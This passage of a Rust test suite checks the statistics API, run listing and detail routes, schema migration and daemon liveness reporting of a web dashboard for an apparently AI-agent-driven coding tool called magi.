19506            let a = stats::AgentStats {
19507                competitive_entered: competitive_n,
19508                competitive_wins: usize::from(competitive_n > 0),
19509                solo_entered: solo_n,
19510                solo_adopted: 2 * usize::from(solo_n > 0),
19511                ..Default::default()
19512            };
19513            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19514            for (key, n, numerator) in [
19515                ("competitive_win_rate", competitive_n, a.competitive_wins),
19516                ("solo_adoption_rate", solo_n, a.solo_adopted),
19517            ] {
19518                if n == 0 {
19519                    assert!(v[key].is_null());
19520                } else {
19521                    assert_eq!(v[key]["denominator"], n);
19522                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19523                }
19524            }
19525        }
19526        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19527        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19528        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19529        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19530    }
19531
19532    #[test]
19533    fn stats_bars_share_one_id_keyed_plan() {
19534        let start = APP_JS
19535            .find("function statsBarRows(")
19536            .expect("statsBarRows exists");
19537        let body = &APP_JS[start..];
19538        let body = &body[..body.find("\n}\n").expect("function end")];
19539        assert!(body.contains("statsBarPlan(rows)"));
19540        assert!(body.contains("statsAgentTone(row.agent)"));
19541        assert!(!body.contains("candTone(i)"));
19542        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19543        for root in [
19544            "stats-agents-bars",
19545            "stats-solo-bars",
19546            "stats-reviewers-bars",
19547        ] {
19548            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19549        }
19550    }
19551
19552    #[test]
19553    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19554        let start = APP_JS
19555            .find("function renderStatsReviewerScatter(")
19556            .expect("renderStatsReviewerScatter exists");
19557        let body = &APP_JS[start..];
19558        let body = &body[..body.find("\n}\n").expect("function end")];
19559        assert!(body.contains("statsScatterPlan(reviewers)"));
19560        assert!(body.contains("statsAgentTone(d.agent)"));
19561        assert!(APP_JS.contains("function statsScatterPlan("));
19562        assert!(
19563            APP_JS.contains("d.submitted < STATS_LOW_N")
19564                || APP_JS.contains("r.submitted < STATS_LOW_N")
19565        );
19566        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19567        assert!(APP_CSS.contains(".precision-scatter"));
19568    }
19569
19570    #[test]
19571    fn advisor_reflection_is_drawn_as_stacked_segments() {
19572        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19573        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19574        let html = include_str!("../assets/ui/index.html");
19575        assert!(html.contains("Approximate"));
19576        for label in ["reflected strongly", "faint", "no proposal"] {
19577            assert!(html.contains(label));
19578        }
19579        let css = include_str!("../assets/ui/app.css");
19580        for c in ["refl-strong", "refl-faint", "refl-absent"] {
19581            assert!(css.contains(&format!(".{c} {{")));
19582        }
19583    }
19584
19585    #[test]
19586    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19587        assert!(APP_JS.contains("function statsDailyPlan("));
19588        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19589        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19590    }
19591
19592    #[test]
19593    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19594        let start = APP_JS
19595            .find("function scheduleSearch(")
19596            .expect("scheduleSearch exists");
19597        let body = &APP_JS[start..];
19598        let body = &body[..body.find("\n}\n").expect("function end")];
19599        assert!(body.contains("s.seq += 1"));
19600    }
19601
19602    /// The dashboard reads every run's state itself rather than trusting a
19603    /// separately-maintained count, so an unreadable run must be counted the
19604    /// same way `/api/health` counts it - never silently dropped the way the
19605    /// CLI's own `stats::load_all` drops it.
19606    #[tokio::test]
19607    async fn stats_runs_unreadable_matches_health() {
19608        let f = Fixture::start().await;
19609        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19610        let broken = f.runs().join("20260902-140502-bad");
19611        std::fs::create_dir_all(&broken).expect("run dir");
19612        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19613
19614        let stats = f.get("/api/stats").await;
19615        let health = f.get("/api/health").await;
19616
19617        assert_eq!(stats.status, 200);
19618        assert_eq!(stats.json()["totals"]["runs"], 1);
19619        assert_eq!(stats.json()["runs_unreadable"], 1);
19620        assert_eq!(
19621            stats.json()["runs_unreadable"],
19622            health.json()["runs_unreadable"],
19623            "the dashboard and /api/health must never disagree about how many \
19624             runs could not be read"
19625        );
19626    }
19627
19628    #[tokio::test]
19629    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19630        let f = Fixture::start().await;
19631        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19632        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19633        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19634
19635        let totals = &f.get("/api/stats").await.json()["totals"];
19636        assert_eq!(totals["runs"], 3);
19637        assert_eq!(totals["merged"], 1);
19638        assert_eq!(totals["stalled"], 1);
19639        assert_eq!(totals["in_progress"], 1);
19640        // A stalled run must never read as blocked/merged/ready - it is its
19641        // own bucket, not folded into a "decided" one.
19642        assert_eq!(totals["blocked"], 0);
19643        assert_eq!(totals["ready"], 0);
19644    }
19645
19646    #[tokio::test]
19647    async fn stats_advisors_report_proposals_and_reflection() {
19648        use crate::advise::{Advice, AdvisorRecord, Reflection};
19649        use crate::verdict::Proposal;
19650
19651        let f = Fixture::start().await;
19652        let mut state = RunState::new(
19653            PathBuf::from("/repo/magi"),
19654            "main".to_owned(),
19655            "0123456789abcdef".to_owned(),
19656            "task".to_owned(),
19657            Config::default(),
19658        );
19659        state.id = "20260902-140501-a".to_owned();
19660        state.status = RunStatus::Merged;
19661        state.advice = Some(Advice {
19662            records: vec![
19663                AdvisorRecord {
19664                    seat: "advisor-1".to_owned(),
19665                    agent: "alpha".to_owned(),
19666                    proposal: Some(Proposal {
19667                        approach: "do it".to_owned(),
19668                        key_tradeoff: "speed over memory".to_owned(),
19669                        risks: Vec::new(),
19670                        touches: Vec::new(),
19671                        why_not_naive: "breaks under load".to_owned(),
19672                    }),
19673                    error: None,
19674                    duration_ms: 0,
19675                    reflection: Reflection::Strong,
19676                },
19677                AdvisorRecord {
19678                    seat: "advisor-2".to_owned(),
19679                    agent: "alpha".to_owned(),
19680                    proposal: None,
19681                    error: Some("timed out".to_owned()),
19682                    duration_ms: 0,
19683                    reflection: Reflection::Absent,
19684                },
19685            ],
19686            synthesis: Some("blended brief".to_owned()),
19687        });
19688        let dir = f.runs().join(&state.id);
19689        std::fs::create_dir_all(&dir).expect("run dir");
19690        std::fs::write(
19691            dir.join("run.json"),
19692            serde_json::to_string_pretty(&state).expect("serialize run"),
19693        )
19694        .expect("write run.json");
19695
19696        // `alpha` is in no roster here; this test is about the rates.
19697        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19698        let alpha = advisors
19699            .as_array()
19700            .expect("an array")
19701            .iter()
19702            .find(|a| a["agent"] == "alpha")
19703            .expect("alpha row");
19704        assert_eq!(alpha["seated"], 2);
19705        assert_eq!(alpha["proposed"], 1);
19706        assert_eq!(alpha["absent"], 1);
19707        assert_eq!(alpha["strong"], 1);
19708        assert_eq!(alpha["faint"], 0);
19709        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19710    }
19711
19712    #[tokio::test]
19713    async fn stats_hides_agents_outside_the_roster_unless_all() {
19714        use crate::run::Candidate;
19715        let repo = TempDir::new().expect("repo dir");
19716        std::fs::write(
19717            repo.path().join("magi.toml"),
19718            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19719        )
19720        .expect("magi.toml");
19721        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19722        let mut state = RunState::new(
19723            PathBuf::from("/repo/magi"),
19724            "main".to_owned(),
19725            "0123456789abcdef".to_owned(),
19726            "task".to_owned(),
19727            Config::default(),
19728        );
19729        state.id = "20260902-140501-a".to_owned();
19730        state.status = RunStatus::Merged;
19731        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19732            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19733                "index": 0, "label": label.to_string(), "agent": agent,
19734                "branch": "b", "worktree": "/w",
19735            }))
19736            .expect("candidate");
19737            c.label = label;
19738            state.candidates.push(c);
19739        }
19740        let dir = f.runs().join(&state.id);
19741        std::fs::create_dir_all(&dir).expect("run dir");
19742        std::fs::write(
19743            dir.join("run.json"),
19744            serde_json::to_string_pretty(&state).expect("serialize run"),
19745        )
19746        .expect("write run.json");
19747
19748        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19749            v["agents"]
19750                .as_array()
19751                .expect("array")
19752                .iter()
19753                .map(|a| a["agent"].as_str().unwrap().to_owned())
19754                .collect()
19755        };
19756        let hidden = f.get("/api/stats").await.json();
19757        assert_eq!(agents_of(&hidden), ["keep"]);
19758        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19759        assert_eq!(hidden["totals"]["runs"], 1);
19760
19761        let all = f.get("/api/stats?all=true").await.json();
19762        assert_eq!(agents_of(&all).len(), 2);
19763        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19764        // Verify competitive and solo keys exist on agent entries
19765        let keep_agent = all["agents"]
19766            .as_array()
19767            .unwrap()
19768            .iter()
19769            .find(|a| a["agent"] == "keep")
19770            .unwrap();
19771        assert_eq!(keep_agent["competitive_entered"], 1);
19772        assert_eq!(keep_agent["competitive_wins"], 0);
19773        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19774        assert_eq!(keep_agent["solo_entered"], 0);
19775        assert_eq!(keep_agent["solo_adopted"], 0);
19776        assert!(keep_agent["solo_adoption_rate"].is_null());
19777    }
19778
19779    #[tokio::test]
19780    async fn stats_release_bumps_split_clean_from_attention() {
19781        use crate::run::ReleaseBump;
19782
19783        let f = Fixture::start().await;
19784
19785        let mut clean = RunState::new(
19786            PathBuf::from("/repo/magi"),
19787            "main".to_owned(),
19788            "0123456789abcdef".to_owned(),
19789            "task".to_owned(),
19790            Config::default(),
19791        );
19792        clean.id = "20260902-140501-a".to_owned();
19793        clean.status = RunStatus::Merged;
19794        clean.release_bump = Some(ReleaseBump {
19795            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19796            version: Some("1.0.0".to_owned()),
19797            automerge_enabled: true,
19798            merged_directly: false,
19799            local: false,
19800            release: None,
19801            problem: None,
19802            action_required: None,
19803            skipped: None,
19804        });
19805
19806        let mut blocked = RunState::new(
19807            PathBuf::from("/repo/magi"),
19808            "main".to_owned(),
19809            "0123456789abcdef".to_owned(),
19810            "task".to_owned(),
19811            Config::default(),
19812        );
19813        blocked.id = "20260902-140502-b".to_owned();
19814        blocked.status = RunStatus::Merged;
19815        blocked.release_bump = Some(ReleaseBump {
19816            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19817            version: Some("1.0.1".to_owned()),
19818            automerge_enabled: false,
19819            merged_directly: false,
19820            local: false,
19821            release: None,
19822            problem: Some("checks red".to_owned()),
19823            action_required: Some("look at the PR".to_owned()),
19824            skipped: None,
19825        });
19826
19827        for state in [&clean, &blocked] {
19828            let dir = f.runs().join(&state.id);
19829            std::fs::create_dir_all(&dir).expect("run dir");
19830            std::fs::write(
19831                dir.join("run.json"),
19832                serde_json::to_string_pretty(state).expect("serialize run"),
19833            )
19834            .expect("write run.json");
19835        }
19836
19837        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19838        assert_eq!(bumps["merged"], 2);
19839        assert_eq!(bumps["recorded"], 2);
19840        assert_eq!(bumps["pr_opened"], 2);
19841        assert_eq!(bumps["automerge_enabled"], 1);
19842        assert_eq!(bumps["needs_attention"], 1);
19843        assert_eq!(bumps["clean"], 1);
19844        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19845        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19846    }
19847
19848    #[tokio::test]
19849    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19850        let f = Fixture::start().await;
19851        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19852
19853        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19854        assert_eq!(bumps["merged"], 1);
19855        assert_eq!(bumps["recorded"], 0);
19856        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19857        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19858        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19859        // `pr_opened` and `recorded` are both zero here, so these rates have
19860        // no denominator to compute from and must be null.
19861        assert_eq!(bumps["automerge_rate"], Value::Null);
19862        assert_eq!(bumps["attention_rate"], Value::Null);
19863    }
19864
19865    #[tokio::test]
19866    async fn stats_queue_counts_come_from_the_live_queue() {
19867        let f = Fixture::start().await;
19868        let q = f.queue();
19869        let mut queued = Task::new(
19870            "queued task".to_owned(),
19871            "do it".to_owned(),
19872            PathBuf::from("/repo"),
19873            Source::Human,
19874        );
19875        q.put(&mut queued).expect("put queued");
19876        let mut held = Task::new(
19877            "held task".to_owned(),
19878            "do it later".to_owned(),
19879            PathBuf::from("/repo"),
19880            Source::Human,
19881        );
19882        held.hold_machine(Some("out of attempts".to_owned()));
19883        q.put(&mut held).expect("put held");
19884
19885        let queue = f.get("/api/stats").await.json()["queue"].clone();
19886        assert_eq!(queue["queued"], 1);
19887        assert_eq!(queue["held"], 1);
19888        assert_eq!(queue["running"], 0);
19889        assert_eq!(queue["done"], 0);
19890        assert_eq!(queue["failed"], 0);
19891        assert_eq!(queue["blocked"], 0);
19892    }
19893
19894    #[tokio::test]
19895    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19896        let f = Fixture::start().await;
19897        let stats = f.get("/api/stats").await;
19898        assert_eq!(stats.status, 200);
19899        assert_eq!(stats.json()["totals"]["runs"], 0);
19900        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19901        assert_eq!(stats.json()["runs_unreadable"], 0);
19902        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19903        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19904        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19905        assert_eq!(stats.json()["repo"], Value::Null);
19906    }
19907
19908    #[tokio::test]
19909    async fn stats_lists_every_repository_with_runs_recorded() {
19910        let f = Fixture::start().await;
19911        write_run_repo(
19912            &f.runs(),
19913            "20260902-140501-a",
19914            RunStatus::Merged,
19915            "/repos/a",
19916        );
19917        write_run_repo(
19918            &f.runs(),
19919            "20260902-140502-b",
19920            RunStatus::Merged,
19921            "/repos/a",
19922        );
19923        write_run_repo(
19924            &f.runs(),
19925            "20260902-140503-c",
19926            RunStatus::Blocked,
19927            "/repos/b",
19928        );
19929
19930        let stats = f.get("/api/stats").await;
19931        assert_eq!(stats.status, 200);
19932        // Unfiltered - the aggregate across both repositories.
19933        assert_eq!(stats.json()["totals"]["runs"], 3);
19934        assert_eq!(stats.json()["repo"], Value::Null);
19935
19936        let repos = stats.json()["repos"].clone();
19937        let repos = repos.as_array().unwrap();
19938        assert_eq!(repos.len(), 2);
19939        // Busiest (2 runs) first.
19940        assert_eq!(repos[0]["repo"], "/repos/a");
19941        assert_eq!(repos[0]["name"], "a");
19942        assert_eq!(repos[0]["runs"], 2);
19943        assert_eq!(repos[1]["repo"], "/repos/b");
19944        assert_eq!(repos[1]["runs"], 1);
19945    }
19946
19947    #[tokio::test]
19948    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19949        let f = Fixture::start().await;
19950        write_run_repo(
19951            &f.runs(),
19952            "20260902-140501-a",
19953            RunStatus::Merged,
19954            "/repos/a",
19955        );
19956        write_run_repo(
19957            &f.runs(),
19958            "20260902-140502-b",
19959            RunStatus::Blocked,
19960            "/repos/b",
19961        );
19962
19963        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19964        assert_eq!(stats.status, 200);
19965        assert_eq!(stats.json()["totals"]["runs"], 1);
19966        assert_eq!(stats.json()["totals"]["merged"], 1);
19967        assert_eq!(stats.json()["repo"], "/repos/a");
19968        // The repository list itself is unaffected by the filter - it is
19969        // what a client switches repositories from.
19970        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19971        // runs_unreadable is a whole-workload count, never scoped to the
19972        // selected repository - see StatsView::runs_unreadable's own doc.
19973        assert_eq!(stats.json()["runs_unreadable"], 0);
19974    }
19975
19976    #[tokio::test]
19977    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19978        let f = Fixture::start().await;
19979        write_run_repo(
19980            &f.runs(),
19981            "20260902-140501-a",
19982            RunStatus::Merged,
19983            "/repos/a",
19984        );
19985        write_run_repo(
19986            &f.runs(),
19987            "20260902-140502-b",
19988            RunStatus::Merged,
19989            "/repos/b",
19990        );
19991
19992        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19993            let json = f.get(uri).await.json();
19994            let daily = json["daily"].as_array().expect("daily is an array");
19995            assert_eq!(daily.len(), 30);
19996            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19997            let mut sorted = dates.clone();
19998            sorted.sort();
19999            assert_eq!(dates, sorted);
20000            for d in daily {
20001                assert_eq!(
20002                    d["merged"].as_u64().unwrap()
20003                        + d["ready"].as_u64().unwrap()
20004                        + d["other"].as_u64().unwrap(),
20005                    d["runs"].as_u64().unwrap()
20006                );
20007            }
20008            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20009        }
20010    }
20011
20012    #[tokio::test]
20013    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20014        let f = Fixture::start().await;
20015        write_run_repo(
20016            &f.runs(),
20017            "20260902-140501-a",
20018            RunStatus::Merged,
20019            "/repos/a",
20020        );
20021
20022        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20023        assert_eq!(stats.status, 404);
20024    }
20025
20026    #[tokio::test]
20027    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20028        let f = Fixture::start().await;
20029        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20030
20031        let summary = f.get("/api/runs").await.json();
20032        let row = &summary[0];
20033        assert_eq!(row["short"], "a1b2");
20034        assert_eq!(row["status"], "ready");
20035        assert_eq!(row["done"], true);
20036        assert_eq!(row["title"], "Add a web UI");
20037        assert_eq!(row["repo_name"], "magi");
20038        assert_eq!(row["judges"], 3);
20039        assert_eq!(row["winner"], Value::Null);
20040        assert_eq!(row["reviews"], 0);
20041
20042        // The short id resolves, and the detail route is the state itself, not
20043        // a projection of it: the UI reads fields the summary does not carry.
20044        let detail = f.get("/api/runs/a1b2").await;
20045        assert_eq!(detail.status, 200);
20046        assert_eq!(detail.json()["base_branch"], "main");
20047        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20048    }
20049
20050    /// `status: "ready"` alone cannot tell a run still headed for a landing
20051    /// (a PR closed without merging, say) apart from one `[merge] mode =
20052    /// "none"` left unmerged for good — the confusion the operator flagged
20053    /// after the CLI report already grew a `not landed — nothing to do by
20054    /// design` line for exactly this case (`report.rs`). Both the list route
20055    /// and the detail route must carry a flag the phone can key on instead of
20056    /// re-deriving it from `status` + `merge.mode` itself.
20057    #[tokio::test]
20058    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20059        let f = Fixture::start().await;
20060
20061        let mut none_run = RunState::new(
20062            PathBuf::from("/repo/magi"),
20063            "main".to_owned(),
20064            "0123456789abcdef".to_owned(),
20065            "Add a web UI".to_owned(),
20066            Config::default(),
20067        );
20068        none_run.id = "20260902-140503-none".to_owned();
20069        none_run.status = RunStatus::Ready;
20070        none_run.merge = Some(crate::run::MergeOutcome {
20071            mode: crate::config::MergeMode::None,
20072            ok: true,
20073            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20074            empty: false,
20075        });
20076        write_state(&f.runs(), &none_run);
20077
20078        let mut pr_run = RunState::new(
20079            PathBuf::from("/repo/magi"),
20080            "main".to_owned(),
20081            "0123456789abcdef".to_owned(),
20082            "Add a web UI".to_owned(),
20083            Config::default(),
20084        );
20085        pr_run.id = "20260902-140504-prcl".to_owned();
20086        pr_run.status = RunStatus::Ready;
20087        pr_run.merge = Some(crate::run::MergeOutcome {
20088            mode: crate::config::MergeMode::Pr,
20089            ok: false,
20090            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20091            empty: false,
20092        });
20093        write_state(&f.runs(), &pr_run);
20094
20095        let summary = f.get("/api/runs").await.json();
20096        let rows: std::collections::HashMap<&str, &Value> = summary
20097            .as_array()
20098            .expect("an array")
20099            .iter()
20100            .map(|r| (r["id"].as_str().expect("an id"), r))
20101            .collect();
20102        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20103        assert_eq!(
20104            rows[none_run.id.as_str()]["unmerged_by_design"],
20105            true,
20106            "a mode-none Ready must be flagged in the list"
20107        );
20108        assert_eq!(
20109            rows[pr_run.id.as_str()]["unmerged_by_design"],
20110            false,
20111            "a Ready reached by a closed pull request is a different case"
20112        );
20113
20114        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20115        assert_eq!(none_detail["status"], "ready");
20116        assert_eq!(none_detail["unmerged_by_design"], true);
20117
20118        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20119        assert_eq!(pr_detail["unmerged_by_design"], false);
20120    }
20121
20122    /// `RunState::active` is only ever cleared by whoever populated it, so the
20123    /// detail route also has to say whether a daemon is actually still
20124    /// driving this run right now — otherwise a seat from a killed process's
20125    /// last wave would read as live forever.
20126    #[tokio::test]
20127    async fn run_core_survives_unavailable_related_stores() {
20128        let home = TempDir::new().unwrap();
20129        let ui = delta_test_ui(home.path());
20130        let state = RunState::new(
20131            PathBuf::from("/repo/magi"),
20132            "main".into(),
20133            "0123456789abcdef".into(),
20134            "Useful core instructions".into(),
20135            Config::default(),
20136        );
20137        let dir = ui.runs.join(&state.id);
20138        std::fs::create_dir_all(&dir).unwrap();
20139        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20140        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20141        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20142        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20143            .await
20144            .unwrap()
20145            .0;
20146        assert_eq!(core.state.instruction, state.instruction);
20147        assert_eq!(core.state.updated_at, state.updated_at);
20148        assert!(core.task.is_none());
20149        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20150    }
20151
20152    #[tokio::test]
20153    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20154        let f = Fixture::start().await;
20155        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20156        // half of this test can claim the daemon is working on it without a
20157        // second helper.
20158        let id = "20260902-140502-bbbb";
20159        let mut state = RunState::new(
20160            PathBuf::from("/repo/magi"),
20161            "main".to_owned(),
20162            "0123456789abcdef".to_owned(),
20163            "Add a web UI".to_owned(),
20164            Config::default(),
20165        );
20166        state.id = id.to_owned();
20167        state.status = RunStatus::Judging;
20168        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20169        let dir = f.runs().join(id);
20170        std::fs::create_dir_all(&dir).expect("run dir");
20171        std::fs::write(
20172            dir.join("run.json"),
20173            serde_json::to_string_pretty(&state).expect("serialize run"),
20174        )
20175        .expect("write run.json");
20176
20177        // No daemon.json at all, and no `driver_pid` recorded either (this
20178        // state was written directly, never through `execute()`): there is
20179        // nothing to confirm either way, so the route must say `"unknown"` —
20180        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20181        // run` used to get from this route before `driver_pid` existed.
20182        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20183        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20184        assert_eq!(cold["live"], "unknown", "{cold}");
20185
20186        // A fresh heartbeat naming exactly this run: the same entry now reads
20187        // as confirmed, not merely recorded.
20188        write_daemon(f.home.path(), Timestamp::now());
20189        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20190        assert_eq!(warm["live"], "live", "{warm}");
20191    }
20192
20193    #[test]
20194    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20195        let home = tempfile::tempdir().expect("temp home");
20196        let runs = home.path().join("runs");
20197        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20198            let mut state = RunState::new(
20199                PathBuf::from("/repo/magi"),
20200                "main".to_owned(),
20201                "0123456789abcdef".to_owned(),
20202                "Generated review context, not authored task criteria".to_owned(),
20203                Config::default(),
20204            );
20205            state.origin = origin;
20206            state.status = RunStatus::Blocked;
20207            // Earlier migrations must not infer these facts again.
20208            state.driver_exited = false;
20209            state.gate_ran = true;
20210            let expected = serde_json::to_value(&state).expect("serialize current state");
20211            let mut legacy = expected.clone();
20212            legacy["schema"] = serde_json::json!(13);
20213            legacy.as_object_mut().unwrap().remove("task_instruction");
20214            let dir = runs.join(&state.id);
20215            std::fs::create_dir_all(&dir).expect("run dir");
20216            let path = dir.join("run.json");
20217            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20218            std::fs::write(&path, &body).expect("write legacy run");
20219
20220            for loaded in [
20221                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20222                read_run(&runs, &state.id).expect("web migration"),
20223            ] {
20224                assert_eq!(loaded.schema, crate::run::SCHEMA);
20225                assert!(loaded.task_instruction.is_none());
20226                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20227            }
20228            assert_eq!(runs_unreadable(&runs), 0);
20229            assert_eq!(std::fs::read(&path).unwrap(), body);
20230        }
20231    }
20232
20233    /// Where a run came from is shown, and a run written before origins were
20234    /// recorded (schema 12, no `origin` key) stays readable and says so.
20235    #[tokio::test]
20236    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20237        let f = Fixture::start().await;
20238        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20239            let mut state = RunState::new(
20240                PathBuf::from("/repo/magi"),
20241                "main".to_owned(),
20242                "0123456789abcdef".to_owned(),
20243                "Add a web UI".to_owned(),
20244                Config::default(),
20245            );
20246            state.id = id.to_owned();
20247            state.origin = origin;
20248            let mut value = serde_json::to_value(&state).expect("serialize run");
20249            if let Some(schema) = schema {
20250                value["schema"] = serde_json::json!(schema);
20251                value.as_object_mut().unwrap().remove("origin");
20252            }
20253            let dir = f.runs().join(id);
20254            std::fs::create_dir_all(&dir).expect("run dir");
20255            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20256        };
20257        write(
20258            "20260930-092817-ec34",
20259            Some(crate::run::Origin::from_agent_env(
20260                Some(("4a7b".to_owned(), "chat".to_owned())),
20261                None,
20262            )),
20263            None,
20264        );
20265        write("20260930-092817-0ld1", None, Some(12));
20266
20267        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20268        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20269        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20270
20271        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20272        assert_eq!(
20273            old["origin_label"], "origin unknown (started before origins were recorded)",
20274            "{old}"
20275        );
20276        assert!(old["origin"].is_null(), "{old}");
20277
20278        let list = f.get("/api/runs").await.json();
20279        let labels: Vec<_> = list
20280            .as_array()
20281            .unwrap()
20282            .iter()
20283            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20284            .collect();
20285        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20286    }
20287
20288    #[tokio::test]
20289    async fn run_progress_observation_exposes_activity_without_control_evidence() {
20290        let f = Fixture::start().await;
20291        let mut state = RunState::new(
20292            PathBuf::from("/repo"),
20293            "main".into(),
20294            "abc".into(),
20295            "task".into(),
20296            Config::default(),
20297        );
20298        state.status = RunStatus::Implementing;
20299        state.seat_started(
20300            "implement",
20301            "implement-A",
20302            std::time::Duration::from_secs(60),
20303            0,
20304        );
20305        state.save_under(f.home.path()).unwrap();
20306        let observed = f
20307            .get(&format!("/api/runs/{}/progress", state.id))
20308            .await
20309            .json();
20310        assert_eq!(observed["id"], state.id);
20311        assert!(observed["observed_at"].is_string());
20312        assert_eq!(observed["updated_at"], state.updated_at.to_string());
20313        assert!(observed["progress"]["activity"].is_string());
20314        for field in [
20315            "config",
20316            "candidates",
20317            "land_approval",
20318            "task",
20319            "waiting",
20320            "done",
20321        ] {
20322            assert!(
20323                observed.get(field).is_none(),
20324                "progress must not expose control evidence: {field}"
20325            );
20326        }
20327    }
20328
20329    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
20330    /// review` claims no daemon at all, so before this field existed the
20331    /// route above read it as `"dead"` — indistinguishable from a run a
20332    /// killed process abandoned — the whole time it was genuinely still
20333    /// answering. With a live pid recorded, it must read `"live"` even
20334    /// though no daemon claims it.
20335    #[tokio::test]
20336    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20337        let f = Fixture::start().await;
20338        let id = "20260922-090000-cccc";
20339        let mut state = RunState::new(
20340            PathBuf::from("/repo/magi"),
20341            "main".to_owned(),
20342            "0123456789abcdef".to_owned(),
20343            "Review only".to_owned(),
20344            Config::default(),
20345        );
20346        state.id = id.to_owned();
20347        state.status = RunStatus::Reviewing;
20348        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20349        // This test process's own pid: guaranteed alive, and never needs a
20350        // real daemon or a second process to prove it. The matching start-time
20351        // marker is what `liveness` now requires alongside a live pid — see
20352        // `RunState::driver_started_at`'s own doc for why the pid alone is
20353        // not enough.
20354        state.driver_pid = Some(std::process::id());
